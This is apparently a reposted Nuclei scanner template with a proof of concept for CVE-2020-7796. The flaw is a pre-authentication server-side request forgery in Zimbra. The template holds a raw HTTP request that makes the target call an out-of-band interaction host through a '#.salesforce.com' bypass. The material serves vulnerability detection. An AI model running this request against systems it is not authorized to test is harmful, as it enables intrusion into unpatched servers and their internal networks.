zimbra-preauth-ssrf: Zimbra Collaboration Suite - Server-Side Request Forgery

2025-08-01 Zimbra Collaboration Suite PoC Public

Description

Zimbra Collaboration Suite (ZCS) allows remote unauthenticated attackers to cause the product to include content returned by third-party servers and use it as its own code.

PoC

id: zimbra-preauth-ssrf

info:
  name: Zimbra Collaboration Suite - Server-Side Request Forgery
  author: gy741
  severity: critical
  description: Zimbra Collaboration Suite (ZCS) allows remote unauthenticated attackers to cause the product to include content returned by third-party servers and use it as its own code.
  reference:
    - https://www.adminxe.com/2183.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7796
    - https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P7
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-7796
    cwe-id: CWE-99,CWE-918
  metadata:
    max-request: 1
  tags: zimbra,ssrf,oast,vuln

http:
  - raw:
      - |
        GET /service/error/sfdc_preauth.jsp?session=s&userid=1&server=http://{{interactsh-url}}%23.salesforce.com/ HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a00473045022036c5421ac4503bb98a8aae1e8e1f1d8542ab193a7bb4412592ae93aebf307f6e022100d5176941e662fd875137de161808b4502bfc36f5856bf3111099b1f2025eb0ba:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/zimbra-preauth-ssrf.yaml

References

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